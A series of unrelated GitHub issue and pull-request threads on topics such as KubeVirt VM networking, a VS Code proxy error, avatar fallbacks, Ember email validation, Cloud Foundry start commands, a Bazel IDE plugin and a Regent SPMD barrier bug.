"/proc/sys",
"/proc/sysrq-trigger"
]
}
}
XML Below
What you expected to happen:
I expected that the cloned VM would come up with an IP address which could be pinged and also to be able to console to the vm.
How to reproduce it (as minimally and precisely as possible):
Steps are above - it can be reproduced in my environment quite easily.  After well over 20-30 tries - the results are always the same - ISCSI, NFS, the same namespace, different namespaces etc
Additional context:
Add any other context about the problem here.

But it is also hard to view the logs you posted.
It is odd that you cannot access its console. How did you try to do that?

@BinaryPhinary , I cannot see anything wrong from the Kubvirt side. But it is also hard to view the logs you posted.
It is odd that you cannot access its console. How did you try to do that?

Two methods - I used kubectl virt console
I also installed as part of the creation of the 'Template' virt-viewer so that I could attempt to use vnc.  This also fails with the following message:
{"component":"","level":"info","msg":"--proxy-only is set to false, listening on <IP_ADDRESS>\n","pos":"vnc.go:116","timestamp":"2024-05-09T10:04:17.651804Z"}
{"component":"","level":"info","msg":"connection timeout: 1m0s","pos":"vnc.go:157","timestamp":"2024-05-09T10:04:17.652406Z"}
Error encountered: could not find remote-viewer or vncviewer binary in $PATH
I suppose this is not surprising giving then I cant ping the cloned vm either.  The 'Tempate' VM I can ping and console to just fine.
Is there another format I can supply that logs that would be easier?  Perhaps in a text notepad?  And which ones would you like?  Happy to get them in the a format that will help
Thanks

Error encountered: could not find remote-viewer or vncviewer binary in $PATH

Can you install one of these?
ping @EdDev

ping @EdDev

I do not have anything useful to add here.
Regarding

The other thing I found interesting - but Im not clear on what the bearing is on the issues - that the XML seems to reference tap0 as the interface - which has no IP address. The IP is on the eth0 address, which is not referenced by the XML.

tap0 is not suppose to have any IP set.
Regarding correctly posting data (yaml and logs), I think you need to read the markdown documentation from GitHub. (e.g. https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#quoting-code and https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks#syntax-highlighting)

Same here
export CDI_PROXY=<IP_ADDRESS>:31001/v1beta1/upload
virtctl image-upload --image-path='/root/ubuntu-22.04.4-live-server-amd64.iso' \
--pvc-name=iso-ubuntu2204 --pvc-size=5G --uploadproxy-url=https://$CDI_PROXY --insecure --wait-secs=240

vm yaml
root@node40:~/cdi# cat ubuntu-vm-iso-host.yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: ubuntu2204
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/domain: ubuntu2204
    spec:
      domain:
        cpu:
          cores: 1
        devices:
          disks:
          - bootOrder: 1
            cdrom:
              bus: sata
            name: cdromiso
          - disk:
              bus: virtio
            name: harddrive
          - cdrom:
              bus: sata
            name: virtiocontainerdisk
          interfaces:
          - masquerade: {}
            model: e1000
            name: default
        machine:
          type: q35
        resources:
          requests:
            memory: 2G
      networks:
      - name: default
        pod: {}
      volumes:
      - name: cdromiso
        persistentVolumeClaim:
          claimName: iso-ubuntu2204
      - name: harddrive
        hostDisk:
          capacity: 30Gi
          path: /data/disk.img
          type: DiskOrCreate
      - containerDisk:
          image: kubevirt/virtio-container-disk
          imagePullPolicy: IfNotPresent
        name: virtiocontainerdisk

Sometimes there is no interface IP

dmesg logs

and i must config this for virtctl console ubuntu2204 work
$  nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="console=ttyS0,115200n8"

sudo update-grub

sudo systemctl enable<EMAIL_ADDRESS>sudo systemctl start<EMAIL_ADDRESS>


Authentication through work proxy

We have written the needed data into your clipboard because it was too large to send. Please paste.
Issue Type: Bug
Hi
At work, the infrastructure team have implemented a new network security solution and all apps go through the proxy solution.
Before this new solution I was able to connect to my Salesforce Orgs, however I now get ERROR running force:org:open:  read ECONNRESET errors when trying to connect to the various Salesforce orgs.
I have tried various solution by setting http.proxy variable, updating the windows variables and working directly with the networking team.
Can someone please help
Thanks
Pete
VS Code version: Code 1.46.1 (cd9ea6488829f560dc949a8b2fb789f3cdc05f5d, 2020-06-17T21:13:20.174Z)
OS version: Windows_NT x64 10.0.17134

System Info

Item
Value

CPUs
Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (8 x 1992)

GPU Status
2d_canvas: enabledflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onoop_rasterization: disabled_offprotected_video_decode: enabledrasterization: enabledskia_renderer: disabled_off_okvideo_decode: enabledviz_display_compositor: enabled_onviz_hit_test_surface_layer: disabled_off_okwebgl: enabledwebgl2: enabled

Load (avg)
undefined

Memory (System)
15.85GB (4.94GB free)

Process Argv

Screen Reader
no

VM
0%

Extensions (26)

Extension
Author (truncated)
Version

vscode-eslint
dba
2.1.5

githistory
don
0.6.5

xml
Dot
2.5.0

gitlens
eam
10.2.2

prettier-vscode
esb
5.1.0

git-project-manager
fel
1.7.1

shell-format
fox
7.0.1

bash-extension-pack
liz
0.0.4

bash-ide-vscode
mad
1.10.2

powershell
ms-
2020.6.0

team
ms-
1.161.0

debugger-for-chrome
msj
4.12.8

vscode-yaml
red
0.8.0

shellman
Rem
4.5.0

bash-debug
rog
0.3.9

shebang-snippets
rpi
0.1.4

salesforcedx-vscode
sal
48.21.0

salesforcedx-vscode-apex
sal
48.21.0

salesforcedx-vscode-apex-debugger
sal
48.21.0

salesforcedx-vscode-apex-replay-debugger
sal
48.21.0

salesforcedx-vscode-core
sal
48.21.0

salesforcedx-vscode-lightning
sal
48.21.0

salesforcedx-vscode-lwc
sal
48.21.0

salesforcedx-vscode-visualforce
sal
48.21.0

shellcheck
tim
0.9.0

vscode-icons
vsc
10.1.1

You only mention this in the title: Does you proxy require authentication? What type of authentication?


Add a fallback.svg for dynamic fallbacks

See #33
Example usage:

https://unavatar-one.vercel.app/fallback.svg?text=DB
https://unavatar-one.vercel.app/fallback.svg?text=DB&start=9AEF00&end=00C0F7

wow thanks for that, it looks pretty sick!
Your current implementation is using it as a provider. I think I like that idea and we can rename it into "identicon" since the fallback query parameter is already implemented.
what do you think about generating the color in a pseudo-random way, so the user doesn't need to think about start and end?
For example, you can generate those value based on the text input

Your current implementation is using it as a provider. I think I like that idea and we can rename it into "identicon" since the fallback query parameter is already implemented.

Ah, yeah, that'd be a better approach. To confirm, rename my fallback.svg to identicon.svg, and keep the same query params for controlling it?

what do you think about generating the color in a pseudo-random way, so the user doesn't need to think about start and end?

Do you have an algorithm you'd suggest? I'd like to keep the parameters as options so I can control the color in my app.
Oh, another thought: I defaulted to a solid color because I thought that might be nicer than a random gradient.

We can implement this solution
https://github.com/tobiaslins/avatar/blob/master/src/image.js#L9
What do you think:

generate a linear gradient using text by default
be possible setup linear gradient using query params (start and end)

In that way, we can have a good first impression, but also powerful to customize in case you want 🙂
A variation about the default color be to use just a plain color: https://github.com/Gustu/string-to-color

I'm amenable to that approach.
Where would you like the functions stored, and do you have any other code structure suggestions before I finish this up?

just renaming it as identicon provider should be enough; all the code can live there 🙂

@Kikobeats Sorry, meant to comment too: this PR is ready.

Thanks, let me review it quickly 🙂

@Kikobeats Still thinking about landing this?

@Kikobeats Still thinking about landing this?

hmm I'm testing this locally and looks there are a problem related with color transformation
TypeError: Cannot read property '2' of undefined
    at generateGradient (/Users/kikobeats/Projects/unavatar/src/providers/identicon.js:60:43)
    at module.exports (/Users/kikobeats/Projects/unavatar/src/providers/identicon.js:79:40)
    at /Users/kikobeats/Projects/unavatar/src/index.js:44:12
    at Layer.handle [as handle_request] (/Users/kikobeats/Projects/unavatar/node_modules/express/lib/router/layer.js:95:5)
    at next (/Users/kikobeats/Projects/unavatar/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/Users/kikobeats/Projects/unavatar/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/Users/kikobeats/Projects/unavatar/node_modules/express/lib/router/layer.js:95:5)
    at /Users/kikobeats/Projects/unavatar/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/Users/kikobeats/Projects/unavatar/node_modules/express/lib/router/index.js:335:12)
    at next (/Users/kikobeats/Projects/unavatar/node_modules/express/lib/router/index.js:275:10)


Email uniqueness validation question

Hi!
Thanks for awesome library! I have searched for open and closed issues but haven't found answer to my questions.

How can i call custom (or any other) validator only if another validators on the same property are passed?

For example i have "email" property with "presence" and "format" validators attached. Those two works great. After that i add "unique-email" validator, but it's get called in parallel with first two validators and gets incorrect email as input. It would be great if "unique-email" validators get called only if previous passed.
[Proposal] Add option like "failFast" at property level. If it's true then validation of property stops after first failed validator. Or add an option to specify dependency on another validator attached to same property.

[Maybe proposal] Can "debounce" be attached to validator in addition to property itself. This makes sense for remote validations like one described above.

Im really not sure if this would work but you can give it a shot

const Validations = buildValidations({
  email: [
    validator('presence', true),
    validator('format', { type: 'email' }),
    validator('unique-email', {
      disabled() {
        return this.get('model.validations.attrs.email.isInvalid');
      },
      dependentKeys: ['validations.attrs.email.isInvalid']
    }),
  ]
});

It's not very pretty but with the current implementation, Im not really sure if this sort of thing would be simple to do. Let me know how this works out for you and if it doesnt, ill spend some more time on this :smile:

Im not really sure I understand what you mean but options can be placed on the entire attribute or single validators. See defaultOptions

const Validations = buildValidations({
  email: [
    validator('format', { type: 'email', debounce: 500 })
  ]
});

const Validations = buildValidations({
  email: {
    debounce: 500,
    validators: [
     validator('format', { type: 'email'})
    ]
  }
});

Sorry, this solution doesn't work. "model.validations.attrs.email" is not populated until all property validators gets executed. The only workaround i found is to check in unique-email validator if email is valid before sending request to server.
That's what i wanted, thanks! Works like a charm!

I see. Another solution would be to extend the format validator
import Format from './format';

export default Format.extend({
   validate() {
  	let isEmail = this._super(...arguments);

    if(isEmail === true) {
     // do uniqueness check
    } else {
      return isEmail; // this will be the returned message
  }
})

thank you for an awesome library!
how would I extend format as that doesn't seem to be exposed in the sources?
I noticed you do import Format from './format';, does that mean I should copy format.js to the folder where 'unique-email.js' lives?

@basz you dont need to copy over the format validator. The addon imports all validators to app/validators at runtime which allows you to do what I mentioned above :smile:

thank you - I got it to work. For anyone this is my take on it
import Ember from 'ember';
import FormatValidator from './format';

const {
  get,
  isNone,
  isEmpty
} = Ember;

export default FormatValidator.extend({
  queryBus: Ember.inject.service('cqrs/query/auth/user'),
  validate(value, options /*, model, attribute*/ ) {
    options.type = 'email';

    if (!isNone(this.regularExpressions[options.type]) && isNone(options.regex)) {
      options.regex = this.regularExpressions[options.type];
    }

    let isEmail = this._super(...arguments);

    if (isEmail === true) {
      // do uniqueness check
      return this.get('queryBus').emailAddressIsRegisteredQuery(value).then(result => {
        return result === true ? "The email address is already in use." : true;
      });
    } else {
      return isEmail; // this will be the returned message
    }
  }
});

:+1: thanks for sharing!
May I ask what this block is for?
if (!isNone(this.regularExpressions[options.type]) && isNone(options.regex)) {
  options.regex = this.regularExpressions[options.type];
}

That’s copied from
node_modules/ember-cp-validations/app/validators/format.js
I did that because options.regex must be set at validate() time, but somehow the following did;t work
buildOptions(options = {}, defaultOptions = {}) {
    options.type = ‘email’;

    return this._super(options, defaultOptions);
  },

Hmmmmm, thats not good. Ill take a closer look at why that is when I have some time.

don't. I solved it. I think the problem arose from my initial call to return this._super with ...arguments instead of the mutated options.
That snippet actually works now.

Ah okay cool! Thanks for the update :smile_cat:

import Ember from 'ember';
import FormatValidator from './format';

export default FormatValidator.extend({
  queryBus: Ember.inject.service('cqrs/query/auth/user'),
  buildOptions(options = {}, defaultOptions = {}) {
    options.type = 'email';

    return this._super(options, defaultOptions);
  },
  validate(value /*, options, model, attribute */ ) {
    let isEmail = this._super(...arguments);

    if (isEmail === true) {
      // do uniqueness check
      return this.get('queryBus').emailAddressIsRegisteredQuery(value).then(result => {
        return result === true ? "The email address is already in use." : true;
      });
    } else {
      return isEmail; // this will be the returned message
    }
  }
});

:+1: thank you :smile:

Im assuming this issue to be resolved so im gonna go ahead and close it. Feel free to reopen if you need more help on the matter.


Upchage input box

Upcharge % percent input box does not keep size across browsers.
On Firefox Linux shows single digit.  (Is 70.)

This issue has been corrected in a newer version. 2.1.0 does not have this issue.


[Question Feature] How to check is string

I don't see document for check STRING. If check is String not available, i think it is a new feature.

@kimthangatm This doesn't exist yet but if you'd like to send a PR and add it, that would be great!


Support for custom MetadataExtractor within Spark flows

Changes:

Add support for a user defined MetadataExtractor within Spark. Also includes support for SettingsAware MetadataExtractor classes.
Expands the MetadataExtractor interface to recieve the Metadata Object during their work flow.
PerEntityPoolingMetadataExtractor expanded to support it's reuse within user defined MetadataExtractors.

Thank you for submitting a pull request!
Please make sure you have signed our Contributor License Agreement (CLA).
We are not asking you to assign copyright to us, but to give us the right to distribute your code without restriction. We ask this of all contributors in order to assure our users of the origin and continuing existence of the code.
You only need to sign the CLA once.

[x] I have signed the Contributor License Agreement (CLA)

@nerdynick Is there an issue open for this? I'm not sure what the goal is here entirely. I can start reviewing it, but knowing what you're looking for here will help with the review process.

@jbaiera No issue open. The basic goal was to allow users to also be able to provide MetadataExtractor's similar to how they can Index/Field Extractor's. The surrounding changes where in support for expanding the nature of MetadataExtractor to support user defined ones better.
The use case I had was to be able to provide ESSpark with a Tuple2 where item 1 is an index pattern instead of the actual index and allowing that index pattern to be cached in a pool. The only way to gain that much level of control and information needed is by changing out the MetadataExtractor as the IndexExtractors do not have access to the Tuple2->item1 data.
The only way I could see around this was hackie and would have involved mapping exclusions and overloading the value with more information to be thrown away. This just seemed simple and opened up more avenues for users to solve more complex use cases.
Something I also noticed for another issue would be to move the Json transform layer into a MetdataExtractor instead of baking it in like it is currently. Seems like they are trying to achieve the same things but adding a whole bunch more layers to the mix to support the separation.

I'm not entirely sold on this PR to be honest. After working on the new error handlers, its clear how much work it is to maintain these sorts of internal API's. We do not consider these interfaces to be a part of the public API for the connector, and thus they are not protected from breaking changes in between major releases as per semantic versioning rules. I feel like it would be incredibly trappy to expose them further.

This PR is only exposing 1 more Extractor then is already exposed. As Field, Index, and Byte extractors are already exposed. As well as given the code that is/was already in place around MetadataExtractor it looked like the intent was already there with the Interface's existence and only 1 inheritance tree created (ScalaMetadataExtractor->PerEntityPoolingMetadataExtractor->MetadataExtractor).
I think an argument could be made for further exposing the use of PerEntityPoolingMetadataExtractor. But not to expose MetadataExtractor and its usage seems kinda limiting in the amount of gained support for a user to be able to optimize their pipelines flows and get the best performance out of it. With this PR I was able to better optimize and reduce each flow by 1-2sec per 10sec batch on SparkStreaming. As before I was having to do filter/split of data to 2 separate ES-Hadoop instance to achieve the same effect. This saved me from having to write my own Index Pattern logic. As well as still maintain isolation of all the logic around ES into one central ES layer instead of trying to weave it into my parse/transform layers.


Docs: Flatten the "Getting Started" guide

Done here
https://github.com/opensource-observer/oso/pull/1011


List logos of funders, partners, and supporters at the bottom of the front page

like at https://fair-software.nl/endorse
follow-up from #582

Supporting organizations are now listed on https://coderefinery.org/about/partners/.


Update User Prompts for Vehicle Information

Ensure that each vehicle type prompts the user for relevant information. Some attributes should be specific to each vehicle type.
Acceptance Criteria:
Each vehicle type prompts the user with relevant questions.
The Truck class has additional prompts unique to trucks.

The action menu has been implemented to allow users to perform actions specific to the selected vehicle type. Here’s a summary of the testing results:

Vehicle-Specific Actions: The menu shows actions based on the selected vehicle type, with Truck having a unique action not available for Car or Motorbike, as required.
Command-Line Output: All actions display their results appropriately in the command-line interface.
Menu Loop: The menu loops and continues displaying options until the user chooses to exit, ensuring a smooth user experience.

All acceptance criteria have been met, so I am closing this issue as resolved.


MWPW-158147-Eager load hero marque foreground image

Eager load hero marque foreground image

Resolves: MWPW-158147
Test URLs:

Before: https://stage--cc--adobecom.hlx.live/drafts/ruchika/performance/illustrator?martech=off
After: https://hero-marquee--cc--adobecom.hlx.live/drafts/ruchika/performance/illustrator?martech=off

Validations done in below url
https://hero-marquee--cc--adobecom.hlx.live/drafts/ruchika/performance/illustrator?martech=off

details of validation is updated in https://jira.corp.adobe.com/browse/MWPW-158147
cc : @sigadamvenkata


Bazel plugin incompatible with CLion on Mac

Downloaded latest version from https://plugins.jetbrains.com/plugin/9554-bazel
CLion details:
CLion 2019.1
Build #CL-191.6183.77, built on March 25, 2019
JRE: 1.8.0_202-release-1483-b39 x86_64
JVM: OpenJDK 64-Bit Server VM by JetBrains s.r.o
macOS 10.14.5

Confirm this does not work for me either; 2019.2 also fails.
Howeveer, CLion 2019.1.4 (Build: 191.7479.33) however does work, and be found at: https://www.jetbrains.com/clion/download/other.html.

confirming that this is also broken for Pycharm

Yes, this plugin can not be installed in Clion, any update?

The Bazel plugins are not supported on 2019.2.x yet. They should work for 2019.1.x. @abhinavsingh @libratiger can you confirm that your CLion versions are in 2019.1.x?

@jin Yes, the 2019.x can be installed, but it failed to import the bazel project, i do not deep into the reason.

@jin Unfortunately I have already auto-upgraded to 2019.2, that's when the problem started.

@abhinavsingh is it possible for you to install 2019.1.x as well using something like the JetBrains Toolbox?

This looks like an outdated issue. By now, the plugin is compatible with versions even past 2019.2. Hence, I'm closing this issue now. Please refer to other tracking issues if you're interested in compatibility with newer IDE versions.


Schedule meetings at Dappcon

@dazuck i'd like to sync and strategize a bit to see if we should be proactive about any meetings, or other marketing opptys


Make more explicit which command has been used to start the application

Summary
When pushing an application you can override the default command to be executed in two ways:

adding an option -c <command>
adding the line command: <command> in the manifest.yml.

Otherwise it would use the default command for the buildpack. The buildpack default command might have additional logic, for instance read Procfile
The issue I found is that if a user run cf push -c adhoc_command (or defines it in the manifest.yml), then the application will use that adhoc_command whenever the user does cf push without -c (and without defining manifest.yml).
The only way to go back to the default command is doing: cf push -c null (with a literal null)
Command definition priorities
From what I checked, CF will follow this priority list when determining the command to use. The first rule that matches is applied:

cf push -c null (literal null) it will use the default command in the point 6.

NOTE: It will clear value of command to run for this application.

cf push -c <command>:  command passed by command line.

NOTE: It will set the value of command to run for this application.

manifest.yml value of applications.command: null (literal null) it will use the default command in the point 6.

NOTE: It will clear value of command to run for this application.

manifest.yml value of applications.command: <command>

NOTE: It will set the value of command to run for this application.

command previously defined by a cf push -c <command>
default command => Buildpack command (e.g. Procfile defined command)

Issue
In my opinion this is confusing for the end user:

This is a stateful behaviour. The app "remembers" the command specified the first time with cf push -c
It is not really well documented. There is only one line in cf-cli help output: -c                           Startup command, set to null to reset to default start command
cf-cli does provide info of which command is "stored" in the app. There is no way to learn which command is stored in the app, unless doing a API call directly (see below)
When starting the app, cf-cli or CF  does not print which command is being used. The command is only printed when the application successfully starts: e.g: App hector-test was started using this command sh -xc 'true && python hello.py'``

API call to learn the actual command configured
cf-cli does not print the command configured, but the API returns the value:
$ cf push -c 'sh -xc "false && python hello.py"' -u port  hector-test
...
$ cf curl '/v2/spaces/d58bfc0d-a2e0-4394-91be-915b33d5b422/apps?q=name%3Ahector-test' | jq -r .resources[0].entity.command
sh -xc "false && python hello.py"

Expected behaviour
In the client I expect:

cf app <app> or similar should print the start command that is configured and stored in CF.
cf push, cf start or cf restage should print the command that is going to be used after it is executed, not after. That way the user can troubleshoot if the application has problems.

CLI Version
cf version 6.23.1+a70deb3.2017-01-13
CC API Endpoint Version
$ cf api
API endpoint:   https://api.cloud.service.gov.uk
API version:    2.69.0

A user reported another variation of this to us whereby the application had changed buildpacks from Node to Ruby but the previous start command was still being used.

print the command that is going to be used after it is executed, not after.

I think this meant to say: before it is executed, not after.

@keymon Thank for the feedback. There's a lot of stuff to unpack here, so we'll go through them one at a time.

When cf push has command line flags and manifest values, be it for command/-c or anything else, the value provided by the command line alway overrides the manifest value. Regardless of what that manifest value is.
The CF CLI can't always determine what the "detected" start command is until after the app is staged/in the process of starting. For this reason, we can only display the command after the app is started. We're aware this is difficult, but the API/buildpacks can only determine this information at the app start time for the command auto-detection.
The latest version of push does provide some additional details at the beginning of pushing an app to at least make it a little clearer what is going on, hopefully this should clarify what's going on. Let us know if this isn't enough.

We are closing this issue due to inactivity but please reopen or create a new issue should you have further comments/feedback. Thanks.


Bruno cv

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: Flaks009 sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


drag image for elements with 'transform' styles are incorrectly positioned

In my case, I'm using a translate transform style and the drag image is way offscreen. My workaround is to add this._img.style.transform = 'none'; in the same place where left and top are set to -9999. I'm not sure if this has other unwanted side effects though, but it works in my use case,

I'm closing this mostly because of how much time has passed and how much the code has changed since this issue was filed. If this is still a concern, please file a new issue. I recently signed on to this project and would like to make sure we're covering all the bases, while also making sure there are no lingering issues based on old code.


createCollectorMetric has limited support of metric types

Hi,
Currently only 2 metric types are supported: Counter and Gauge
Other types like Histogram or Summary are missing.
I would suggest to include this in release notes, declaring the intention to enhance the support in upcoming minor release.

Support added for all metric types in 7ba66931eca1d565814dd968e8fcb5f80113c449


Regent SPMD Phase Barrier Cycle

Regent's SPMD transformation non-deterministically generates phase barrier cycles for the test parallelize_task_with_spmd3.rg.  I was seeing it about 1 in every 10 runs.  An easy way to detect it is to also run with the -hl:inorder flag and user-level threads disabled.  When it hangs, you can then inspect the launchers for the two offending operations and confirm that they come from different shards.  I was only able to make it reproduce with multi-node runs.  Here is my command line:
LAUNCHER='mpirun -H n0002,n0003 -n 2 -npernode 1 --bind-to none -x TERRA_PATH -x LD_LIBRARY_PATH -x INCLUDE_PATH -x LG_RT_DIR -x USE_RDIR' ./regent.py tests/regent/run_pass/parallelize_tasks_with_spmd3.rg -ll:cpu 3 -fbounds-checks 1 -fparallelize-dop 9 -fflow-spmd 1 -fflow-spmd-shardsize 3
In one particular example, I saw the following case:
Copy Launcher:
Arrive Barrier: 0x7000000001600001
Wait Barrier: 0x7000000001f00002
Task Launcher:
Arrive Barrier: 0x7000000001f00001
Wait Barrier: 0x7000000001600002
That is a phase barrier cycle straight from the application because waits always occur on the previous generation.  Since these came straight from the launchers I know that the runtime hasn't been able to mess anything up.

One known complicating factor that was just discovered is that the compiler's auto-parallelization analysis is possibly not generating the same code on multiple nodes (which may explain why this only reproduces with multiple nodes) and maybe responsible for this issue too.  @magnatelee will tell us when this previous bug has been resolved.

If that's true you can check it by using saveobj to dump a binary and then
launching that. There will only be one binary so there will only be one
copy of the code even if compilation is nondeterministic.
On Oct 17, 2016 5:54 PM, "Mike Bauer"<EMAIL_ADDRESS>wrote:

One known complicating factor that was just discovered is that the
compiler's auto-parallelization analysis is possibly not generating the
same code on multiple nodes (which may explain why this only reproduces
with multiple nodes) and maybe responsible for this issue too. @magnatelee
https://github.com/magnatelee will tell us when this previous bug has
been resolved.
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub
https://github.com/StanfordLegion/legion/issues/194#issuecomment-254376851,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAAMOZXyZvMiVSuZTFbxAxypSCUfguFVks5q1BjJgaJpZM4KZPwd
.

A fix for the auto-parallelizer has been pushed, so the previous bug shouldn't interfere with this one anymore.

Looks like the bug persists after the fix for the auto-parallelizer.

With Wonchan's help I pretty printed the code from each node in a separate file and then ran the job. On a job that hung, I see the following diff between the two codes.  Looks like the barrier names just got reversed.
76c76
<   writes($shallow_$intersection_$shard_$t8$shard$t15.f), writes($shard$t15.f), writes($shallow$intersection$shard$t8$shard$_t11.f), writes($shard$_t8.h), writes($shard$_t8.g), writes($shard$_t8.f), writes($shard$t11.f), writes($shard$t8.f), writes($shallow$intersection$shard$t8$shard$_t11.f), writes($shard$_t8.g), writes($shard$t8.h), writes($shard$t11.f), writes($shallow$intersection$shard$t8$shard$_t15.f), writes($shard$_t15.f), simultaneous($shard$t8.h), simultaneous($shard$t8.g), simultaneous($shard$t8.f), simultaneous($shallow$intersection$shard$t8$shard$t11.f), simultaneous($shard$t15.f), simultaneous($shard$t11.f), simultaneous($shallow$intersection$shard$t8$shard$t15.f), no_access_flag($shallow$intersection$shard$t8$shard$t11.f), no_access_flag($shallow$intersection$shard$t8$shard$__t15.f)

writes($shard_$t11.f), writes($shallow$intersection$shard_$t8$shard$t11.f), writes($shallow$intersection$shard_$t8$shard$_t15.f), writes($shard$_t8.h), writes($shard$_t8.g), writes($shard$_t8.f), writes($shard$_t15.f), writes($shard$t8.g), writes($shard$t8.h), writes($shard$t11.f), writes($shallow$intersection$shard$t8$shard$t15.f), writes($shallow$intersection$shard$t8$shard$t11.f), writes($shard$t15.f), writes($shard$t8.f), simultaneous($shard$t11.f), simultaneous($shallow$intersection$shard$t8$shard$t15.f), simultaneous($shallow$intersection$shard$t8$shard$t11.f), simultaneous($shard$t8.h), simultaneous($shard$t8.g), simultaneous($shard$t8.f), simultaneous($shard$t15.f), no_access_flag($shallow$intersection$shard$t8$shard$t15.f), no_access_flag($shallow$intersection$shard$t8$shard$t11.f)
79d78
<     var $intersection$shard$t8$shard$t15 : list(list(region(ispace(int3d), fs()))) = list_cross_product_complete($shard$t8, $shallow$intersection$shard$t8$shard$t15)
80a80
var $intersection$shard$t8$shard$t15 : list(list(region(ispace(int3d), fs()))) = list_cross_product_complete($shard$t8, $shallow$intersection$shard$t8$shard$t15)
87,88c87,88
<       $empty_out$shard$t11 = advance($empty_out$shard$t11)
<       $full_in$shard$t15 = advance($full_in$shard$_t15)

  $empty_out_$shard_$__t15_<f> = advance($empty_out_$shard_$__t15_<f>)
  $full_in_$shard_$__t11_<f> = advance($full_in_$shard_$__t11_<f>)

91c91
<         stencil1.parallelized($shard_$_t8[$local_index], $shard$__t11[$local_index], $_t7, $t18, awaits($full_in$shard$t11[$local_index]), arrives($empty_in$shard$_t11[$local_index]))

    stencil1.parallelized($shard_$__t8[$local_index], $shard_$__t15[$local_index], $__t7, $__t18, awaits($full_in_$shard_$__t15_<f>[$local_index]), arrives($empty_in_$shard_$__t15_<f>[$local_index]))

93,94c93,94
<       $empty_in_$shard_$t11 = advance($empty_in$shard_$t11)
<       $full_in$shard_$t11 = advance($full_in$shard_$_t11)

  $empty_in_$shard_$__t15_<f> = advance($empty_in_$shard_$__t15_<f>)
  $full_in_$shard_$__t15_<f> = advance($full_in_$shard_$__t15_<f>)

99,100c99,101
<       copy($shard_$t8.f, $intersection$shard$t8$shard$t15.f, arrives($full_out$shard$t15), awaits($empty_out$shard_$t15))
<       $empty_out$shard_$t15 = advance($empty_out$shard_$_t15)

  copy($shard_$__t8.f, $intersection_$shard_$__t8_$shard_$__t11.f, arrives($full_out_$shard_$__t11_<f>), awaits($empty_out_$shard_$__t11_<f>))
  $full_out_$shard_$__t11_<f> = advance($full_out_$shard_$__t11_<f>)
  $empty_out_$shard_$__t11_<f> = advance($empty_out_$shard_$__t11_<f>)

103c104
<         stencil2.parallelized($shard_$_t8[$local_index], $shard$__t15[$local_index], $_t7, $t20, awaits($full_in$shard$t15[$local_index]), arrives($empty_in$shard$_t15[$local_index]))

    stencil2.parallelized($shard_$__t8[$local_index], $shard_$__t11[$local_index], $__t7, $__t20, awaits($full_in_$shard_$__t11_<f>[$local_index]), arrives($empty_in_$shard_$__t11_<f>[$local_index]))

105c106,107
<       $empty_in_$shard_$t15 = advance($empty_in$shard_$_t15)

  $empty_in_$shard_$__t11_<f> = advance($empty_in_$shard_$__t11_<f>)
  copy($shard_$__t8.f, $intersection_$shard_$__t8_$shard_$__t15.f, arrives($full_out_$shard_$__t15_<f>), awaits($empty_out_$shard_$__t15_<f>))

107,108d108
<       copy($shard_$t8.f, $intersection$shard$t8$shard$t11.f, arrives($full_out$shard$t11), awaits($empty_out$shard_$t11))
<       $full_out$shard_$t11 = advance($full_out$shard_$_t11)
122c122
<     var $__t13 : rect3d = {(($__t8[$__t10].bounds.lo+{-1, 0, 0})%$__t7), (($__t8[$__t10].bounds.hi+{-1, 0, 0})%$__t7)}

var $__t13 : rect3d = {(($__t8[$__t10].bounds.lo+{1, 0, 0})%$__t7), (($__t8[$__t10].bounds.hi+{1, 0, 0})%$__t7)}

124c124
<     var $205 : rect3d = anon (/local/home/mebauer/legion_versioning/language/src/regent/parallelize_tasks.t:164)($primary_region.bounds, $197.bounds, $__t13, {-1, 0, 0})

var $205 : rect3d = anon (/local/home/mebauer/legion_versioning/language/src/regent/parallelize_tasks.t:164)($primary_region.bounds, $197.bounds, $__t13, {1, 0, 0})

131c131
<     var $__t17 : rect3d = {(($__t8[$__t14].bounds.lo+{1, 0, 0})%$__t7), (($__t8[$__t14].bounds.hi+{1, 0, 0})%$__t7)}

var $__t17 : rect3d = {(($__t8[$__t14].bounds.lo+{-1, 0, 0})%$__t7), (($__t8[$__t14].bounds.hi+{-1, 0, 0})%$__t7)}

133c133
<     var $215 : rect3d = anon (/local/home/mebauer/legion_versioning/language/src/regent/parallelize_tasks.t:164)($primary_region.bounds, $207.bounds, $__t17, {1, 0, 0})

var $215 : rect3d = anon (/local/home/mebauer/legion_versioning/language/src/regent/parallelize_tasks.t:164)($primary_region.bounds, $207.bounds, $__t17, {-1, 0, 0})

172c172
<       copy($parent_$shard_$__t11[$index].f, $__t11[$part_indices[$index]].f)

  copy($parent_$shard_$__t15[$index].f, $__t15[$part_indices[$index]].f)

178c178
<       copy($parent_$shard_$__t15[$index].f, $__t15[$part_indices[$index]].f)

  copy($parent_$shard_$__t11[$index].f, $__t11[$part_indices[$index]].f)

Yup, that's the problem. The parallelized code is still non-deterministic; it's just non-deterministic in the names of the variables. SPMD sorts the variable names lexicographically in order to ensure a consistent order. (There is no task on my end to use as a baseline, so if I didn't do this, I'd have non-determinism too.)
You don't need to make sure the names are identical, but you need to make sure they can be lexicographically sorted in a consistent way. Or else you can suggest to me a different way of ensuring that SPMD maintains consistency in this regard.
https://github.com/StanfordLegion/rdir/blob/master/plugin/src/regent/flow_outline_task.t#L141

I'm confused.  Did you make that change to fix the issue?  It doesn't look like it.  What is preventing the compiler from lexicographically sorting the variable names in a consistent way?  This seems like it should be a pretty straight-forward thing to do.

